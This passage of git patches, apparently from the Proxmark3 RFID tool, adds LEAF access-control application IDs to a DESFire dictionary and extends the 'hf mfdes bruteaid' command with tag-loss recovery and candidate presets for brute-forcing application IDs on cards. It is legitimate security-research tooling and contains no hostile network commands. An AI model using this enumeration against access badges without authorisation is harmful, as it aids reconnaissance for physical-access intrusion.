sizeof(container_issue_info_response.mobile_phone_model_information))); } @@ -859,7 +882,7 @@ static int info_felica(bool verbose) { PrintAndLogEx(INFO, "Container properties:"); has_container_properties = true; } - PrintAndLogEx(INFO, " 0x%04X........... %s", container_properties[i], + PrintAndLogEx(INFO, " 0x%04X........... " _YELLOW_("%s"), container_properties[i], sprint_hex_inrow(container_property_data, container_property_data_len)); } } From 2fce3393ea5bc76b56e1a060cfceaaecc1e70d1f Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Fri, 6 Mar 2026 18:16:43 +0200 Subject: [PATCH 060/162] Add LEAF DESFire AID values to dictionary --- CHANGELOG.md | 1 + client/resources/aid_desfire.json | 72 +++++++++++++++++++++++++++++++ 2 files changed, 73 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 70745ccce..34353908a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added DESFire AID values related to LEAF (@kormax) - Added --credit option for `hf iclass legrec` command to perform a credit key recovery. This is experimental and unfinished as it only partially works.(@antiklesys) - Added hardening for all host binaries. Exact level of hardening depends on the OS (@doegox) - Added `hf aliro read` command (@kormax) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 35b5b1a1a..bda29ff56 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -407,6 +407,78 @@ "Description": "FKA aptiQ Access Credential", "Type": "pacs" }, + { + "AID": "F51CD8", + "Vendor": "LEAF", + "Country": "N/A", + "Name": "LEAF Si Universal", + "Description": "LEAF Si Universal", + "Type": "pacs" + }, + { + "AID": "F51CD9", + "Vendor": "LEAF", + "Country": "N/A", + "Name": "LEAF Si Universal", + "Description": "LEAF Si Universal", + "Type": "pacs" + }, + { + "AID": "F51CDB", + "Vendor": "LEAF", + "Country": "N/A", + "Name": "LEAF Cc Enterprise", + "Description": "LEAF Cc Enterprise", + "Type": "pacs" + }, + { + "AID": "F51CDE", + "Vendor": "LEAF", + "Country": "N/A", + "Name": "LEAF Cc Enterprise (Old)", + "Description": "LEAF Cc Enterprise (Old)", + "Type": "pacs" + }, + { + "AID": "F51CDF", + "Vendor": "LEAF", + "Country": "N/A", + "Name": "LEAF Cc Enterprise (Apple Wallet)", + "Description": "LEAF Cc Enterprise app found on Apple Wallet credentials", + "Type": "pacs" + }, + { + "AID": "F532F0", + "Vendor": "LEAF", + "Country": "N/A", + "Name": "LEAF Backwards Compat", + "Description": "LEAF Backwards Compat", + "Type": "pacs" + }, + { + "AID": "F51CDC", + "Vendor": "LEAF", + "Country": "N/A", + "Name": "LEAF Campus", + "Description": "LEAF Campus", + "Type": "pacs" + }, + { + "AID": "42494F", + "Vendor": "LEAF", + "Country": "N/A", + "Name": "LEAF Biometrics", + "Description": "LEAF Biometrics", + "Type": "pacs" + }, + { + "AID": "F532F1", + "Vendor": "LEAF", + "Country": "N/A", + "Name": "LEAF User Privileges", + "Description": "LEAF User Privileges", + "Type": "pacs" + }, { "AID": "F534F1", "Vendor": "MOBOTIX AG", From 21f76d173a915743e8ef9cd9312599e093841147 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Fri, 6 Mar 2026 16:30:47 +0200 Subject: [PATCH 061/162] Handle tag loss & recovery in 'hf mfdes bruteaid' --- CHANGELOG.md | 1 + client/src/cmdhfmfdes.c | 32 +++++++++++ client/src/mifare/desfirecore.c | 99 ++++++++++++++++++++++----------- 3 files changed, 100 insertions(+), 32 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 70745ccce..a0aff43f2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added tag loss detection & recovery into `hf mfdes bruteaid` (@kormax) - Added --credit option for `hf iclass legrec` command to perform a credit key recovery. This is experimental and unfinished as it only partially works.(@antiklesys) - Added hardening for all host binaries. Exact level of hardening depends on the OS (@doegox) - Added `hf aliro read` command (@kormax) diff --git a/client/src/cmdhfmfdes.c b/client/src/cmdhfmfdes.c index 3f883ca9f..154b24b47 100644 --- a/client/src/cmdhfmfdes.c +++ b/client/src/cmdhfmfdes.c @@ -49,6 +49,8 @@ #define MAX_KEY_LEN 24 #define MAX_KEYS_LIST_LEN 1024 +#define MFDES_BRUTEAID_RESELECT_ATTEMPTS 5 +#define MFDES_BRUTEAID_RESELECT_WAIT_MS 200 #define status(x) ( ((uint16_t)(0x91 << 8)) + (uint16_t)x ) /* @@ -2251,6 +2253,36 @@ static int CmdHF14ADesBruteApps(const char *Cmd) { PrintAndLogEx(INPLACE, "Brute DESFire AID Progress " _YELLOW_("%0.1f") " %% current AID: %06X", progress, id); res = DesfireSelectAIDHexNoFieldOn(&dctx, id); + if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { + for (int attempt = 1; attempt <= MFDES_BRUTEAID_RESELECT_ATTEMPTS; attempt++) { + printf("\33[2K\r"); // clear current inplace progress line before logging + PrintAndLogEx(WARNING, "No card response while checking AID " _YELLOW_("%06X") ". Reselecting card (%d/%d)...", + id, attempt, MFDES_BRUTEAID_RESELECT_ATTEMPTS); + + msleep(MFDES_BRUTEAID_RESELECT_WAIT_MS); + + res = DesfireSelectAIDHex(&dctx, 0x000000, false, 0); + if (res != PM3_SUCCESS) { + if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { + continue; + } + break; + } + + res = DesfireSelectAIDHexNoFieldOn(&dctx, id); + if (res == PM3_SUCCESS || res == PM3_EAPDU_FAIL || + (res != PM3_ECARDEXCHANGE && res != PM3_ETIMEOUT && res != PM3_ERFTRANS)) { + break; + } + } + + if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { + PrintAndLogEx(FAILED, "Card is not responding after %d reselect attempts. Aborting at AID " _YELLOW_("%06X"), + MFDES_BRUTEAID_RESELECT_ATTEMPTS, id); + DropField(); + return res; + } + } if (res == PM3_SUCCESS) { printf("\33[2K\r"); // clear current line before printing diff --git a/client/src/mifare/desfirecore.c b/client/src/mifare/desfirecore.c index 2e1a1c439..71fb8391b 100644 --- a/client/src/mifare/desfirecore.c +++ b/client/src/mifare/desfirecore.c @@ -517,8 +517,12 @@ static int DESFIRESendRaw(bool activate_field, uint8_t *data, size_t datalen, ui PrintAndLogEx(SUCCESS, "raw<< %s", sprint_hex(result, *result_len)); } - if (*result_len < 1) { - return PM3_SUCCESS; + if (*result_len == 0) { + return PM3_ECARDEXCHANGE; + } + + if (*result_len < (1 + 2)) { + return PM3_ECARDEXCHANGE; } *result_len -= (1 + 2); @@ -538,6 +542,7 @@ static int DESFIRESendRaw(bool activate_field, uint8_t *data, size_t datalen, ui if (GetAPDULogging()) { PrintAndLogEx(ERR, "Command (%02x) ERROR: 0x%02x", data[0], rcode); } + return PM3_EAPDU_FAIL; } return PM3_SUCCESS; @@ -591,6 +596,9 @@ static int DesfireExchangeNative(bool activate_field, DesfireContext_t *ctx, uin res = DESFIRESendRaw(activate_field, &cdata[sendindx], sendlen, buf, DESFIRE_BUFFER_SIZE, &buflen, &rcode); if (res != PM3_SUCCESS) { + if (respcode != NULL) { + *respcode = rcode; + } uint16_t ssw = DESFIRE_GET_ISO_STATUS(rcode); PrintAndLogEx(DEBUG, "error DESFIRESendRaw %s", DesfireGetErrorString(res, &ssw)); free(buf); @@ -638,8 +646,12 @@ static int DesfireExchangeNative(bool activate_field, DesfireContext_t *ctx, uin res = DESFIRESendRaw(false, cdata, 1, buf, DESFIRE_BUFFER_SIZE, &buflen, &rcode); if (res != PM3_SUCCESS) { + if (respcode != NULL) { + *respcode = rcode; + } uint16_t ssw = DESFIRE_GET_ISO_STATUS(rcode); PrintAndLogEx(DEBUG, "error DESFIRESendRaw %s", DesfireGetErrorString(res, &ssw)); + free(buf); return res; } @@ -716,6 +728,9 @@ static int DesfireExchangeISONative(bool activate_field, DesfireContext_t *ctx, res = DESFIRESendApdu(activate_field, apdu, buf, DESFIRE_BUFFER_SIZE, &buflen, &sw); if (res != PM3_SUCCESS) { + if (respcode != NULL && ((sw & 0xFF00) == 0x9100)) { + *respcode = sw & 0xFF; + } PrintAndLogEx(DEBUG, "error DESFIRESendApdu %s", DesfireGetErrorString(res, &sw)); free(buf); return res; @@ -768,6 +783,9 @@ static int DesfireExchangeISONative(bool activate_field, DesfireContext_t *ctx, res = DESFIRESendApdu(false, apdu, buf, DESFIRE_BUFFER_SIZE, &buflen, &sw); if (res != PM3_SUCCESS) { + if (respcode != NULL && ((sw & 0xFF00) == 0x9100)) { + *respcode = sw & 0xFF; + } PrintAndLogEx(DEBUG, "error DESFIRESendApdu %s", DesfireGetErrorString(res, &sw)); free(buf); return res; @@ -926,28 +944,36 @@ int DesfireSelectAID(DesfireContext_t *ctx, uint8_t *aid1, uint8_t *aid2) { uint8_t resp[257] = {0}; size_t resplen = 0; - uint8_t respcode = 0; + uint8_t respcode = 0xFF; ctx->secureChannel = DACNone; int res = DesfireExchangeEx(true, ctx, MFDES_SELECT_APPLICATION, data, (aid2 == NULL) ? 3 : 6, &respcode, resp, &resplen, true, 0); - if (res == PM3_SUCCESS) { - if (resplen != 0) { + if (res != PM3_SUCCESS) { + if (res == PM3_EAPDU_FAIL && respcode == 0xFF && resplen == 0) { return PM3_ECARDEXCHANGE; } - - // select operation fail - if (respcode != MFDES_S_OPERATION_OK) { - return PM3_EAPDU_FAIL; - } - - DesfireClearSession(ctx); - ctx->appSelected = (aid1[0] != 0x00 || aid1[1] != 0x00 || aid1[2] != 0x00); - ctx->selectedAID = DesfireAIDByteToUint(aid1); - - return PM3_SUCCESS; + return res; } - return res; + if (resplen != 0) { + return PM3_ECARDEXCHANGE; + } + + // no status byte received from card + if (respcode == 0xFF) { + return PM3_ECARDEXCHANGE; + } + + // select operation fail + if (respcode != MFDES_S_OPERATION_OK) { + return PM3_EAPDU_FAIL; + } + + DesfireClearSession(ctx); + ctx->appSelected = (aid1[0] != 0x00 || aid1[1] != 0x00 || aid1[2] != 0x00); + ctx->selectedAID = DesfireAIDByteToUint(aid1); + + return PM3_SUCCESS; } int DesfireSelectAIDHex(DesfireContext_t *ctx, uint32_t aid1, bool select_two, uint32_t aid2) { @@ -966,27 +992,36 @@ int DesfireSelectAIDHexNoFieldOn(DesfireContext_t *ctx, uint32_t aid) { uint8_t resp[257] = {0}; size_t resplen = 0; - uint8_t respcode = 0; + uint8_t respcode = 0xFF; ctx->secureChannel = DACNone; int res = DesfireExchangeEx(false, ctx, MFDES_SELECT_APPLICATION, data, 3, &respcode, resp, &resplen, true, 0); - if (res == PM3_SUCCESS) { - if (resplen != 0) { + if (res != PM3_SUCCESS) { + if (res == PM3_EAPDU_FAIL && respcode == 0xFF && resplen == 0) { return PM3_ECARDEXCHANGE; } - - // select operation fail - if (respcode != MFDES_S_OPERATION_OK) { - return PM3_EAPDU_FAIL; - } - - DesfireClearSession(ctx); - ctx->appSelected = (aid != 0x000000); - ctx->selectedAID = aid; - - return PM3_SUCCESS; + return res; } - return res; + + if (resplen != 0) { + return PM3_ECARDEXCHANGE; + } + + // no status byte received from card + if (respcode == 0xFF) { + return PM3_ECARDEXCHANGE; + } + + // select operation fail + if (respcode != MFDES_S_OPERATION_OK) { + return PM3_EAPDU_FAIL; + } + + DesfireClearSession(ctx); + ctx->appSelected = (aid != 0x000000); + ctx->selectedAID = aid; + + return PM3_SUCCESS; } void DesfirePrintMADAID(uint32_t appid, bool verbose) { From 4bcc35cddc50e712fcea077303ca2f57e4089796 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Fri, 6 Mar 2026 17:24:46 +0200 Subject: [PATCH 062/162] Add AID candidate generation presets to 'hf mfdes bruteaid' --- CHANGELOG.md | 1 + client/src/cmdhfmfdes.c | 465 ++++++++++++++++++++++++++++++++++++++-- 2 files changed, 450 insertions(+), 16 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a0aff43f2..f832b8d66 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `dict`, `ascii`, `mad` presets for `hf mfdes bruteaid` (@kormax) - Added tag loss detection & recovery into `hf mfdes bruteaid` (@kormax) - Added --credit option for `hf iclass legrec` command to perform a credit key recovery. This is experimental and unfinished as it only partially works.(@antiklesys) - Added hardening for all host binaries. Exact level of hardening depends on the OS (@doegox) diff --git a/client/src/cmdhfmfdes.c b/client/src/cmdhfmfdes.c index 154b24b47..bbeb9bc0d 100644 --- a/client/src/cmdhfmfdes.c +++ b/client/src/cmdhfmfdes.c @@ -18,8 +18,10 @@ // Code heavily modified by B.Kerler :) #include "cmdhfmfdes.h" +#include #include #include +#include "jansson.h" #include "commonutil.h" // ARRAYLEN #include "cmdparser.h" // command_t #include "comms.h" @@ -51,6 +53,8 @@ #define MAX_KEYS_LIST_LEN 1024 #define MFDES_BRUTEAID_RESELECT_ATTEMPTS 5 #define MFDES_BRUTEAID_RESELECT_WAIT_MS 200 +#define MFDES_BRUTEAID_MAD_START 0xF0000FU +#define MFDES_BRUTEAID_MAD_STEP 0x10U #define status(x) ( ((uint16_t)(0x91 << 8)) + (uint16_t)x ) /* @@ -175,6 +179,25 @@ static const mfdesCommonAID_t commonAids[] = { { 0xF47300, "\xf4\x73\x00", "Inner Range card application" }, }; +typedef enum { + MFDES_BRUTEAID_PRESET_FULL = 0, + MFDES_BRUTEAID_PRESET_ASCII = 1, + MFDES_BRUTEAID_PRESET_NUMBERS = 2, + MFDES_BRUTEAID_PRESET_LETTERS = 3, + MFDES_BRUTEAID_PRESET_DICTIONARY = 4, + MFDES_BRUTEAID_PRESET_MAD = 5, +} mfdes_bruteaid_preset_t; + +static const CLIParserOption mfdesBruteAIDPresetOpts[] = { + {MFDES_BRUTEAID_PRESET_FULL, "full"}, + {MFDES_BRUTEAID_PRESET_ASCII, "ascii"}, + {MFDES_BRUTEAID_PRESET_NUMBERS, "numbers"}, + {MFDES_BRUTEAID_PRESET_LETTERS, "letters"}, + {MFDES_BRUTEAID_PRESET_DICTIONARY, "dictionary"}, + {MFDES_BRUTEAID_PRESET_MAD, "mad"}, + {0, NULL}, +}; + static int CmdHelp(const char *Cmd); static int CLIGetUint32Hex(CLIParserContext *ctx, uint8_t paramnum, uint32_t defaultValue, uint32_t *value, bool *valuePresent, uint8_t nlen, const char *lengthErrorStr) { @@ -2176,20 +2199,384 @@ static int CmdHF14ADesSelectApp(const char *Cmd) { return res; } +typedef struct { + uint32_t current; + uint32_t step; + uint64_t total_count; + uint64_t generated_count; +} mfdes_bruteaid_generator_full_t; + +typedef struct { + uint8_t alphabet[100]; + size_t alphabet_len; + size_t idx0; + size_t idx1; + size_t idx2; + uint32_t id_start; + uint32_t id_end; + uint32_t step; + uint64_t ordinal; + uint64_t total_count; + uint64_t generated_count; + bool exhausted; +} mfdes_bruteaid_generator_ascii_t; + +typedef struct { + uint32_t *aids; + size_t aids_count; + size_t idx; + uint32_t step; + uint64_t ordinal; + uint64_t total_count; + uint64_t generated_count; +} mfdes_bruteaid_generator_dictionary_t; + +typedef struct { + mfdes_bruteaid_preset_t preset; + uint64_t total_count; + union { + mfdes_bruteaid_generator_full_t full; + mfdes_bruteaid_generator_ascii_t ascii; + mfdes_bruteaid_generator_dictionary_t dictionary; + } g; +} mfdes_bruteaid_generator_t; + +static void mfdesBruteAIDGeneratorFullInit(mfdes_bruteaid_generator_full_t *gen, uint32_t id_start, uint32_t id_end, uint32_t step) { + memset(gen, 0, sizeof(*gen)); + gen->current = id_start; + gen->step = step; + gen->total_count = ((uint64_t)(id_end - id_start) / step) + 1; +} + +static bool mfdesBruteAIDGeneratorFullNext(mfdes_bruteaid_generator_full_t *gen, uint32_t *id, float *progress) { + if (gen->generated_count >= gen->total_count) { + return false; + } + + *id = gen->current; + *progress = (gen->total_count > 1) ? (100.0f * (float)gen->generated_count / (float)(gen->total_count - 1)) : 100.0f; + + gen->generated_count++; + if (gen->generated_count < gen->total_count) { + gen->current += gen->step; + } + return true; +} + +static void mfdesBruteAIDGeneratorAsciiInit(mfdes_bruteaid_generator_ascii_t *gen, uint32_t id_start, uint32_t id_end, uint32_t step) { + memset(gen, 0, sizeof(*gen)); + gen->id_start = id_start; + gen->id_end = id_end; + gen->step = step; + + for (uint8_t b = 0x09; b <= 0x0D; b++) { + gen->alphabet[gen->alphabet_len++] = b; + } + for (uint16_t b = 0x20; b <= 0x7E; b++) { + gen->alphabet[gen->alphabet_len++] = (uint8_t)b; + } + + uint64_t all_candidates = 0; + for (size_t b2 = 0; b2 < gen->alphabet_len; b2++) { + for (size_t b1 = 0; b1 < gen->alphabet_len; b1++) { + for (size_t b0 = 0; b0 < gen->alphabet_len; b0++) { + uint32_t id = ((uint32_t)gen->alphabet[b0]) | ((uint32_t)gen->alphabet[b1] << 8) | ((uint32_t)gen->alphabet[b2] << 16); + if (id >= id_start && id <= id_end) { + all_candidates++; + } + } + } + } + + gen->total_count = (all_candidates + step - 1) / step; + gen->exhausted = (gen->total_count == 0); +} + +static void mfdesBruteAIDGeneratorNumbersInit(mfdes_bruteaid_generator_ascii_t *gen, uint32_t id_start, uint32_t id_end, uint32_t step) { + memset(gen, 0, sizeof(*gen)); + gen->id_start = id_start; + gen->id_end = id_end; + gen->step = step; + + for (uint8_t b = 0x30; b <= 0x39; b++) { + gen->alphabet[gen->alphabet_len++] = b; + } + + uint64_t all_candidates = 0; + for (size_t b2 = 0; b2 < gen->alphabet_len; b2++) { + for (size_t b1 = 0; b1 < gen->alphabet_len; b1++) { + for (size_t b0 = 0; b0 < gen->alphabet_len; b0++) { + uint32_t id = ((uint32_t)gen->alphabet[b0]) | ((uint32_t)gen->alphabet[b1] << 8) | ((uint32_t)gen->alphabet[b2] << 16); + if (id >= id_start && id <= id_end) { + all_candidates++; + } + } + } + } + + gen->total_count = (all_candidates + step - 1) / step; + gen->exhausted = (gen->total_count == 0); +} + +static void mfdesBruteAIDGeneratorLettersInit(mfdes_bruteaid_generator_ascii_t *gen, uint32_t id_start, uint32_t id_end, uint32_t step) { + memset(gen, 0, sizeof(*gen)); + gen->id_start = id_start; + gen->id_end = id_end; + gen->step = step; + + for (uint8_t b = 'A'; b <= 'Z'; b++) { + gen->alphabet[gen->alphabet_len++] = b; + } + for (uint8_t b = 'a'; b <= 'z'; b++) { + gen->alphabet[gen->alphabet_len++] = b; + } + + uint64_t all_candidates = 0; + for (size_t b2 = 0; b2 < gen->alphabet_len; b2++) { + for (size_t b1 = 0; b1 < gen->alphabet_len; b1++) { + for (size_t b0 = 0; b0 < gen->alphabet_len; b0++) { + uint32_t id = ((uint32_t)gen->alphabet[b0]) | ((uint32_t)gen->alphabet[b1] << 8) | ((uint32_t)gen->alphabet[b2] << 16); + if (id >= id_start && id <= id_end) { + all_candidates++; + } + } + } + } + + gen->total_count = (all_candidates + step - 1) / step; + gen->exhausted = (gen->total_count == 0); +} + +static int mfdesBruteAIDGeneratorDictionaryInit(mfdes_bruteaid_generator_dictionary_t *gen, uint32_t id_start, uint32_t id_end, uint32_t step) { + memset(gen, 0, sizeof(*gen)); + gen->step = step; + + char *path = NULL; + int res = searchFile(&path, RESOURCES_SUBDIR, "aid_desfire", ".json", true); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Cannot locate aid_desfire dictionary file"); + return PM3_EFILE; + } + + json_error_t error; + json_t *root = json_load_file(path, 0, &error); + free(path); + if (root == NULL) { + PrintAndLogEx(ERR, "Failed to load aid_desfire dictionary: line %d: %s", error.line, error.text); + return PM3_ESOFT; + } + + if (json_is_array(root) == false) { + PrintAndLogEx(ERR, "Invalid aid_desfire dictionary format (root must be array)"); + json_decref(root); + return PM3_ESOFT; + } + + size_t max_count = json_array_size(root); + if (max_count == 0) { + json_decref(root); + return PM3_SUCCESS; + } + + if (max_count > (SIZE_MAX / (2 * sizeof(uint32_t)))) { + json_decref(root); + return PM3_EMALLOC; + } + + size_t alloc_count = max_count * 2; + gen->aids = calloc(alloc_count, sizeof(uint32_t)); + if (gen->aids == NULL) { + json_decref(root); + return PM3_EMALLOC; + } + + for (size_t i = 0; i < max_count; i++) { + json_t *entry = json_array_get(root, i); + if (json_is_object(entry) == false) { + continue; + } + + json_t *aid_j = json_object_get(entry, "AID"); + if (json_is_string(aid_j) == false) { + continue; + } + + const char *aid_str = json_string_value(aid_j); + if (aid_str == NULL || strlen(aid_str) != 6) { + continue; + } + + bool is_hex = true; + for (int c = 0; c < 6; c++) { + if (isxdigit((uint8_t)aid_str[c]) == 0) { + is_hex = false; + break; + } + } + if (is_hex == false) { + continue; + } + + uint32_t aid = 0; + if (sscanf(aid_str, "%x", &aid) != 1) { + continue; + } + aid &= 0xFFFFFF; + + // People may fill in AID values in different byte orders + // so we will try both big endian and little endian variants of the AID + uint32_t aid_variants[] = { + aid, + ((aid & 0x0000FFU) << 16) | (aid & 0x00FF00U) | ((aid & 0xFF0000U) >> 16) + }; + + for (size_t v = 0; v < ARRAYLEN(aid_variants); v++) { + uint32_t candidate = aid_variants[v]; + if (candidate < id_start || candidate > id_end) { + continue; + } + + bool exists = false; + for (size_t j = 0; j < gen->aids_count; j++) { + if (gen->aids[j] == candidate) { + exists = true; + break; + } + } + if (exists == false) { + gen->aids[gen->aids_count++] = candidate; + } + } + } + json_decref(root); + + gen->total_count = (gen->aids_count + step - 1) / step; + return PM3_SUCCESS; +} + +static bool mfdesBruteAIDGeneratorAsciiNext(mfdes_bruteaid_generator_ascii_t *gen, uint32_t *id, float *progress) { + while (gen->exhausted == false) { + uint32_t candidate = ((uint32_t)gen->alphabet[gen->idx0]) | + ((uint32_t)gen->alphabet[gen->idx1] << 8) | + ((uint32_t)gen->alphabet[gen->idx2] << 16); + + gen->idx0++; + if (gen->idx0 >= gen->alphabet_len) { + gen->idx0 = 0; + gen->idx1++; + if (gen->idx1 >= gen->alphabet_len) { + gen->idx1 = 0; + gen->idx2++; + if (gen->idx2 >= gen->alphabet_len) { + gen->exhausted = true; + } + } + } + + if (candidate < gen->id_start || candidate > gen->id_end) { + continue; + } + + if ((gen->ordinal++ % gen->step) != 0) { + continue; + } + + *id = candidate; + *progress = (gen->total_count > 1) ? (100.0f * (float)gen->generated_count / (float)(gen->total_count - 1)) : 100.0f; + + gen->generated_count++; + if (gen->generated_count >= gen->total_count) { + gen->exhausted = true; + } + return true; + } + + return false; +} + +static bool mfdesBruteAIDGeneratorDictionaryNext(mfdes_bruteaid_generator_dictionary_t *gen, uint32_t *id, float *progress) { + while (gen->idx < gen->aids_count) { + uint32_t candidate = gen->aids[gen->idx++]; + if ((gen->ordinal++ % gen->step) != 0) { + continue; + } + + *id = candidate; + *progress = (gen->total_count > 1) ? (100.0f * (float)gen->generated_count / (float)(gen->total_count - 1)) : 100.0f; + + gen->generated_count++; + return true; + } + + return false; +} + +static void mfdesBruteAIDGeneratorFree(mfdes_bruteaid_generator_t *gen) { + if (gen->preset == MFDES_BRUTEAID_PRESET_DICTIONARY) { + free(gen->g.dictionary.aids); + gen->g.dictionary.aids = NULL; + gen->g.dictionary.aids_count = 0; + } +} + +static int mfdesBruteAIDGeneratorInit(mfdes_bruteaid_generator_t *gen, mfdes_bruteaid_preset_t preset, uint32_t id_start, uint32_t id_end, uint32_t step) { + memset(gen, 0, sizeof(*gen)); + gen->preset = preset; + + if (preset == MFDES_BRUTEAID_PRESET_ASCII) { + mfdesBruteAIDGeneratorAsciiInit(&gen->g.ascii, id_start, id_end, step); + gen->total_count = gen->g.ascii.total_count; + } else if (preset == MFDES_BRUTEAID_PRESET_NUMBERS) { + mfdesBruteAIDGeneratorNumbersInit(&gen->g.ascii, id_start, id_end, step); + gen->total_count = gen->g.ascii.total_count; + } else if (preset == MFDES_BRUTEAID_PRESET_LETTERS) { + mfdesBruteAIDGeneratorLettersInit(&gen->g.ascii, id_start, id_end, step); + gen->total_count = gen->g.ascii.total_count; + } else if (preset == MFDES_BRUTEAID_PRESET_DICTIONARY) { + int res = mfdesBruteAIDGeneratorDictionaryInit(&gen->g.dictionary, id_start, id_end, step); + if (res != PM3_SUCCESS) { + return res; + } + gen->total_count = gen->g.dictionary.total_count; + } else if (preset == MFDES_BRUTEAID_PRESET_MAD) { + mfdesBruteAIDGeneratorFullInit(&gen->g.full, id_start, id_end, MFDES_BRUTEAID_MAD_STEP); + gen->total_count = gen->g.full.total_count; + } else { + mfdesBruteAIDGeneratorFullInit(&gen->g.full, id_start, id_end, step); + gen->total_count = gen->g.full.total_count; + } + return PM3_SUCCESS; +} + +static bool mfdesBruteAIDGeneratorNext(mfdes_bruteaid_generator_t *gen, uint32_t *id, float *progress) { + if (gen->preset == MFDES_BRUTEAID_PRESET_ASCII || + gen->preset == MFDES_BRUTEAID_PRESET_NUMBERS || + gen->preset == MFDES_BRUTEAID_PRESET_LETTERS) { + return mfdesBruteAIDGeneratorAsciiNext(&gen->g.ascii, id, progress); + } else if (gen->preset == MFDES_BRUTEAID_PRESET_DICTIONARY) { + return mfdesBruteAIDGeneratorDictionaryNext(&gen->g.dictionary, id, progress); + } + return mfdesBruteAIDGeneratorFullNext(&gen->g.full, id, progress); +} + static int CmdHF14ADesBruteApps(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf mfdes bruteaid", "Recover AIDs by bruteforce.\n" "WARNING: This command takes a loooong time", "hf mfdes bruteaid -> Search all apps\n" - "hf mfdes bruteaid --start F0000F -i 16 -> Search MAD range manually"); + "hf mfdes bruteaid --preset mad -> Search MAD range preset (default start F0000F, step 16; can override start)\n" + "hf mfdes bruteaid --preset ascii -> Search with ASCII printable + whitespace bytes only\n" + "hf mfdes bruteaid --preset numbers -> Search with numeric bytes ('0'..'9') only\n" + "hf mfdes bruteaid --preset letters -> Search with letter bytes ('A'..'Z','a'..'z') only\n" + "hf mfdes bruteaid --preset dictionary -> Search AIDs from `aid_desfire` dictionary (direct + inverted byte order)"); void *argtable[] = { arg_param_begin, arg_str0(NULL, "start", "", "Starting App ID as hex bytes (3 bytes, big endian)"), arg_str0(NULL, "end", "", "Last App ID as hex bytes (3 bytes, big endian)"), arg_int0("i", "step", "", "Increment step when bruteforcing"), - arg_lit0("m", "mad", "Only bruteforce the MAD range"), + arg_str0(NULL, "preset", "", "Bruteforce candidate preset (`full` default, `ascii` printable + whitespace, `numbers` = '0'..'9', `letters` = 'A'..'Z'+'a'..'z', `dictionary` = aid_desfire list with direct + inverted byte order, `mad` = step 16 with default start F0000F unless --start is provided)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -2208,11 +2595,22 @@ static int CmdHF14ADesBruteApps(const char *Cmd) { int endLen = 0; CLIGetHexWithReturn(ctx, 1, startAid, &startLen); CLIGetHexWithReturn(ctx, 2, endAid, &endLen); - uint32_t idIncrement = arg_get_int_def(ctx, 3, 1); - bool mad = arg_get_lit(ctx, 4); + int idIncrementArg = arg_get_int_def(ctx, 3, 1); + + int preset = MFDES_BRUTEAID_PRESET_FULL; + if (CLIGetOptionList(arg_get_str(ctx, 4), mfdesBruteAIDPresetOpts, &preset)) { + CLIParserFree(ctx); + return PM3_EINVARG; + } CLIParserFree(ctx); + if (idIncrementArg <= 0) { + PrintAndLogEx(ERR, "Increment step should be greater than zero"); + return PM3_EINVARG; + } + uint32_t idIncrement = (uint32_t)idIncrementArg; + // tru select PICC res = DesfireSelectAIDHex(&dctx, 0x000000, false, 0); if (res != PM3_SUCCESS) { @@ -2221,35 +2619,68 @@ static int CmdHF14ADesBruteApps(const char *Cmd) { return res; } - // TODO: We need to check the tag version, EV1 should stop after 26 apps are found - if (mad) { - idIncrement = 0x10; - startAid[0] = 0xF0; - startAid[1] = 0x00; - startAid[2] = 0x0F; - } - reverse_array(startAid, 3); reverse_array(endAid, 3); uint32_t idStart = DesfireAIDByteToUint(startAid); uint32_t idEnd = DesfireAIDByteToUint(endAid); + // TODO: We need to check the tag version, EV1 should stop after 26 apps are found + if (preset == MFDES_BRUTEAID_PRESET_MAD) { + if (startLen == 0) { + idStart = MFDES_BRUTEAID_MAD_START; + } + idIncrement = MFDES_BRUTEAID_MAD_STEP; + } + if (idStart > idEnd) { PrintAndLogEx(ERR, "Start should be lower than end. start: %06x end: %06x", idStart, idEnd); return PM3_EINVARG; } - PrintAndLogEx(INFO, "Bruteforce from " _YELLOW_("%06x") " to " _YELLOW_("%06x"), idStart, idEnd); - PrintAndLogEx(INFO, "Enumerating through all AIDs manually, this will take a while!"); + const char *preset_name = CLIGetOptionListStr(mfdesBruteAIDPresetOpts, preset); + if (preset_name == NULL) { + preset_name = "unknown"; + } - for (uint32_t id = idStart; id <= idEnd && id >= idStart; id += idIncrement) { + mfdes_bruteaid_generator_t generator = {0}; + res = mfdesBruteAIDGeneratorInit(&generator, (mfdes_bruteaid_preset_t)preset, idStart, idEnd, idIncrement); + if (res != PM3_SUCCESS) { + DropField(); + return res; + } + if (generator.total_count == 0) { + PrintAndLogEx(WARNING, "No AID candidates in selected range/preset"); + mfdesBruteAIDGeneratorFree(&generator); + DropField(); + return PM3_SUCCESS; + } + + if (preset == MFDES_BRUTEAID_PRESET_ASCII || + preset == 